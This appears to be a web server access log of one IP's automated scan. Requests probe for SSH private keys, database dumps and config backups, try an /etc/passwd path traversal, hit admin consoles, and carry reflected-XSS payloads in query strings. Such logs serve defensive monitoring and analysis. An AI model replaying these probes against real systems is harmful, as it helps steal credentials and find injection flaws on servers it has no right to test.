[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aplicacao/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/production.db HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-api HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/Calendar/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.tar HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //reminder.sh HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //z.php HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.security/team-sync/test/backend HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //?phpinfo=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../..//etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //temp.sql HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rememberme=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rememberme%27%29%3E&module=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-module%27%29%3E&comment_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment_ID%27%29%3E&client_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-client_id%27%29%3E&noheader=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-noheader%27%29%3E&del=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-del%27%29%3E&media=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-media%27%29%3E&user_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_name%27%29%3E&country=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-country%27%29%3E&phone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-phone%27%29%3E&sidebar=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sidebar%27%29%3E&version=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-version%27%29%3E&widget_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget_id%27%29%3E&class=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-class%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloudexp/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //plugin/editor/smarteditor2/SmartEditor2Skin.html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_dsa HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //translate.sql HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zz.txt HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.db HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //l.php?act=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysqlbackup.sh HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.security/teams HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.tar HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //js/se2/SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/portlets/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-title%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-view%27%29%3E&context=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-context%27%29%3E&passwd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-passwd%27%29%3E&count=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-count%27%29%3E&delete=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-delete%27%29%3E&test=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-test%27%29%3E&hash=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hash%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-csrf_token%27%29%3E&o=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-o%27%29%3E&activate=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-activate%27%29%3E&edit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-edit%27%29%3E&ip=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ip%27%29%3E&r=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-r%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-explorer HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_1024 HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //z.txt HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //users.sql HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dev2local.sh HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/scheduler/jobs HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/v1/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //nse/SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.old HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/UserControl/CMS/Page/Telerik.Web.UI.DialogHandler.aspx/Desktopmodules/Admin/dnnWerk.Users/DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-redirect%27%29%3E&linkcheck=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-linkcheck%27%29%3E&port=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-port%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-password%27%29%3E&target=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-target%27%29%3E&method=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-method%27%29%3E&note=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-note%27%29%3E&amount=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-amount%27%29%3E&set=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-set%27%29%3E&q=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-q%27%29%3E&select=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-select%27%29%3E&cid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cid%27%29%3E&tag=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tag%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-keyword%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query-laravel HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /moto/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_2048 HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //M.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //local2dev.sh HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/authentication/services/backends HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/v1/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:55:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //www.sql HTTP/1.1" 196
